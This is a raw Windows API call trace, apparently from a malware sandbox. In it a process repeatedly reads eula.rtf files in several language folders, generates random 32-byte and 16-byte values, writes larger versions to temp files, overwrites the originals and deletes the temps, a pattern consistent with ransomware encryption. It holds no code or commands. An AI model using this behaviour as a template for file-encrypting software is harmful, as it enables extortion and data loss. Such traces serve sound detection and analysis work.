	[0236.067] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.068] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0236.068] GetFileType (hFile=0x190) returned 0x1
	[0236.068] GetFileType (hFile=0x190) returned 0x1
	[0236.068] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0236.068] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0236.068] VirtualAlloc (lpAddress=0xc0002aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002aa000
	[0236.069] ReadFile (in: hFile=0x190, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0xff2, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc00019db04*=0xdf2, lpOverlapped=0x0) returned 1
	[0236.071] ReadFile (in: hFile=0x190, lpBuffer=0xc0002aadf2, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0002aadf2*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0236.071] CloseHandle (hObject=0x190) returned 1
	[0236.071] VirtualAlloc (lpAddress=0xc0002ac000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ac000
	[0236.071] VirtualAlloc (lpAddress=0xc0002ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ae000
	[0236.072] VirtualAlloc (lpAddress=0xc0002b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b0000
	[0236.072] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028e400 | out: pbBuffer=0xc00028e400) returned 1
	[0236.072] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c400 | out: pbBuffer=0xc00028c400) returned 1
	[0236.073] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8101 | out: pbBuffer=0xc0002a8101) returned 1
	[0236.073] VirtualAlloc (lpAddress=0xc0002b2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b2000
	[0236.073] VirtualAlloc (lpAddress=0xc0002b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b4000
	[0236.073] VirtualAlloc (lpAddress=0xc0002b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b6000
	[0236.074] VirtualAlloc (lpAddress=0xc0002b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b8000
	[0236.074] VirtualAlloc (lpAddress=0xc0002ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ba000
	[0236.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.282] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0236.283] GetFileType (hFile=0x174) returned 0x1
	[0236.283] WriteFile (in: hFile=0x174, lpBuffer=0xc0002ab000*, nNumberOfBytesToWrite=0xef2, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ab000*, lpNumberOfBytesWritten=0xc00019dbec*=0xef2, lpOverlapped=0x0) returned 1
	[0236.285] CloseHandle (hObject=0x174) returned 1
	[0236.292] SetEvent (hEvent=0x124) returned 1
	[0236.292] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
	[0236.294] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.294] GetFileType (hFile=0x174) returned 0x1
	[0236.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.295] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.295] GetFileType (hFile=0x190) returned 0x1
	[0236.295] VirtualAlloc (lpAddress=0xc0002bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002bc000
	[0236.295] ReadFile (in: hFile=0x190, lpBuffer=0xc0002bc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002bc000*, lpNumberOfBytesRead=0xc00019dbd4*=0xef2, lpOverlapped=0x0) returned 1
	[0236.296] WriteFile (in: hFile=0x174, lpBuffer=0xc0002bc000*, nNumberOfBytesToWrite=0xef2, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc0002bc000*, lpNumberOfBytesWritten=0xc00019db74*=0xef2, lpOverlapped=0x0) returned 1
	[0236.298] ReadFile (in: hFile=0x190, lpBuffer=0xc0002bc000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002bc000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.298] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0
	[0236.299] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0
	[0236.299] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 0x20
	[0236.299] CloseHandle (hObject=0x190) returned 1
	[0236.299] CloseHandle (hObject=0x174) returned 1
	[0236.299] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\941ee64f0e7a91446acac39a26d2f807" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\941ee64f0e7a91446acac39a26d2f807")) returned 1
	[0236.368] SetEvent (hEvent=0xf0) returned 1
	[0236.368] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.368] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.368] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0236.368] GetFileType (hFile=0x198) returned 0x1
	[0236.368] GetFileType (hFile=0x198) returned 0x1
	[0236.368] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0236.369] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0236.369] VirtualAlloc (lpAddress=0xc0001ec000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ec000
	[0236.371] ReadFile (in: hFile=0x198, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x10c6, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc00019db04*=0xec6, lpOverlapped=0x0) returned 1
	[0236.377] ReadFile (in: hFile=0x198, lpBuffer=0xc0001ecec6, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ecec6*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0236.377] CloseHandle (hObject=0x198) returned 1
	[0236.377] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f420 | out: pbBuffer=0xc00000f420) returned 1
	[0236.377] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010940 | out: pbBuffer=0xc000010940) returned 1
	[0236.377] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001001 | out: pbBuffer=0xc000001001) returned 1
	[0236.378] VirtualAlloc (lpAddress=0xc0001f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f2000
	[0236.379] VirtualAlloc (lpAddress=0xc0001f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f4000
	[0236.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.496] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0236.496] GetFileType (hFile=0x198) returned 0x1
	[0236.496] WriteFile (in: hFile=0x198, lpBuffer=0xc000057000*, nNumberOfBytesToWrite=0xfc6, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc000057000*, lpNumberOfBytesWritten=0xc00019dbec*=0xfc6, lpOverlapped=0x0) returned 1
	[0236.498] CloseHandle (hObject=0x198) returned 1
	[0236.513] SetEvent (hEvent=0x124) returned 1
	[0236.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.515] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.515] GetFileType (hFile=0x198) returned 0x1
	[0236.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.515] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.515] GetFileType (hFile=0x19c) returned 0x1
	[0236.516] VirtualAlloc (lpAddress=0xc0002d6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002d6000
	[0236.516] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002d6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002d6000*, lpNumberOfBytesRead=0xc00019dbd4*=0xfc6, lpOverlapped=0x0) returned 1
	[0236.517] WriteFile (in: hFile=0x198, lpBuffer=0xc0002d6000*, nNumberOfBytesToWrite=0xfc6, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc0002d6000*, lpNumberOfBytesWritten=0xc00019db74*=0xfc6, lpOverlapped=0x0) returned 1
	[0236.518] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002d6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002d6000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.518] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0
	[0236.518] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0
	[0236.519] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 0x20
	[0236.519] CloseHandle (hObject=0x19c) returned 1
	[0236.519] CloseHandle (hObject=0x198) returned 1
	[0236.519] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a521487b76b762960af003b78fa37060" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a521487b76b762960af003b78fa37060")) returned 1
	[0236.595] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.595] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.595] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0236.596] GetFileType (hFile=0x198) returned 0x1
	[0236.596] GetFileType (hFile=0x198) returned 0x1
	[0236.596] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0236.596] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0236.596] VirtualAlloc (lpAddress=0xc000172000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000172000
	[0236.598] ReadFile (in: hFile=0x198, lpBuffer=0xc000172000, nNumberOfBytesToRead=0x2a8d, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc000172000*, lpNumberOfBytesRead=0xc00019db04*=0x288d, lpOverlapped=0x0) returned 1
	[0236.601] ReadFile (in: hFile=0x198, lpBuffer=0xc00017488d, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc00017488d*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0236.601] CloseHandle (hObject=0x198) returned 1
	[0236.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000936a0 | out: pbBuffer=0xc0000936a0) returned 1
	[0236.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095420 | out: pbBuffer=0xc000095420) returned 1
	[0236.601] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082b01 | out: pbBuffer=0xc000082b01) returned 1
	[0236.602] VirtualAlloc (lpAddress=0xc000178000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000178000
	[0236.602] VirtualAlloc (lpAddress=0xc000300000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000300000
	[0236.604] VirtualAlloc (lpAddress=0xc00017a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017a000
	[0236.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.871] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0236.872] GetFileType (hFile=0x198) returned 0x1
	[0236.872] WriteFile (in: hFile=0x198, lpBuffer=0xc000300000*, nNumberOfBytesToWrite=0x298d, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc000300000*, lpNumberOfBytesWritten=0xc00019dbec*=0x298d, lpOverlapped=0x0) returned 1
	[0236.874] CloseHandle (hObject=0x198) returned 1
	[0236.885] VirtualAlloc (lpAddress=0xc000322000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000322000
	[0236.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0236.887] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.887] GetFileType (hFile=0x198) returned 0x1
	[0236.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0236.888] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0236.888] GetFileType (hFile=0x19c) returned 0x1
	[0236.888] VirtualAlloc (lpAddress=0xc000324000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000324000
	[0236.888] ReadFile (in: hFile=0x19c, lpBuffer=0xc000324000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesRead=0xc00019dbd4*=0x298d, lpOverlapped=0x0) returned 1
	[0236.889] WriteFile (in: hFile=0x198, lpBuffer=0xc000324000*, nNumberOfBytesToWrite=0x298d, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesWritten=0xc00019db74*=0x298d, lpOverlapped=0x0) returned 1
	[0236.892] ReadFile (in: hFile=0x19c, lpBuffer=0xc000324000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000324000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.892] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0
	[0236.892] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0
	[0236.892] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 0x20
	[0236.892] CloseHandle (hObject=0x19c) returned 1
	[0236.893] CloseHandle (hObject=0x198) returned 1
	[0236.893] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cdc5875cdbd16553951582705630678e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cdc5875cdbd16553951582705630678e")) returned 1
	[0236.939] SetEvent (hEvent=0x17c) returned 1
	[0236.939] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.940] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.940] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x198
	[0236.941] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dbf4 | out: lpMode=0xc00019dbf4) returned 0
	[0236.941] GetFileType (hFile=0x198) returned 0x1
	[0236.941] VirtualAlloc (lpAddress=0xc0002e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e6000
	[0236.942] GetFileType (hFile=0x198) returned 0x1
	[0236.942] GetFileInformationByHandle (in: hFile=0x198, lpFileInformation=0xc00019dc44 | out: lpFileInformation=0xc00019dc44) returned 1
	[0236.942] GetFileInformationByHandleEx (in: hFile=0x198, FileInformationClass=0x9, lpFileInformation=0xc00019dc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00019dc28) returned 1
	[0236.942] ReadFile (in: hFile=0x198, lpBuffer=0xc0002c8c00, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c8c00*, lpNumberOfBytesRead=0xc00019db04*=0x10c8, lpOverlapped=0x0) returned 1
	[0236.945] ReadFile (in: hFile=0x198, lpBuffer=0xc0002c9cc8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019db04, lpOverlapped=0x0 | out: lpBuffer=0xc0002c9cc8*, lpNumberOfBytesRead=0xc00019db04*=0x0, lpOverlapped=0x0) returned 1
	[0236.945] CloseHandle (hObject=0x198) returned 1
	[0236.946] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00028e8c0 | out: pbBuffer=0xc00028e8c0) returned 1
	[0236.946] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c6f0 | out: pbBuffer=0xc00028c6f0) returned 1
	[0236.946] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8701 | out: pbBuffer=0xc0002a8701) returned 1
	[0236.947] VirtualAlloc (lpAddress=0xc0002e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002e8000
	[0236.948] VirtualAlloc (lpAddress=0xc0002ea000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ea000
	[0236.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.057] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dc04 | out: lpMode=0xc00019dc04) returned 0
	[0237.057] GetFileType (hFile=0x198) returned 0x1
	[0237.057] WriteFile (in: hFile=0x198, lpBuffer=0xc0002ea000*, nNumberOfBytesToWrite=0x11c8, lpNumberOfBytesWritten=0xc00019dbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ea000*, lpNumberOfBytesWritten=0xc00019dbec*=0x11c8, lpOverlapped=0x0) returned 1
	[0237.060] CloseHandle (hObject=0x198) returned 1
	[0237.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.134] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.134] GetFileType (hFile=0x198) returned 0x1
	[0237.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.135] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00019dd74 | out: lpMode=0xc00019dd74) returned 0
	[0237.135] GetFileType (hFile=0x19c) returned 0x1
	[0237.135] VirtualAlloc (lpAddress=0xc0002f0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f0000
	[0237.137] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesRead=0xc00019dbd4*=0x11c8, lpOverlapped=0x0) returned 1
	[0237.137] WriteFile (in: hFile=0x198, lpBuffer=0xc0002f0000*, nNumberOfBytesToWrite=0x11c8, lpNumberOfBytesWritten=0xc00019db74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesWritten=0xc00019db74*=0x11c8, lpOverlapped=0x0) returned 1
	[0237.140] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002f0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00019dbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f0000*, lpNumberOfBytesRead=0xc00019dbd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.140] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48bf23a39ca55cdc32452b75085d367f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48bf23a39ca55cdc32452b75085d367f")) returned 0
